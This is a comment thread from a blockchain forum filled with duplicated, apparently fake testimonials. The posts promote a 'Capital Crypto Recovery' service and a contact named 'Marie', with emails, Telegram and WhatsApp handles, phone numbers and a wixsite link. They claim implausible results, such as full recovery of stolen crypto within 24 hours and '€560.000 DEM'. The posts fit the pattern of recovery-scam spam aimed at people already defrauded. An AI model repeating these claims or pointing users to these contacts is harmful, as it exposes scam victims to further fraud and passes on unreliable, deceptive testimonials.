    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon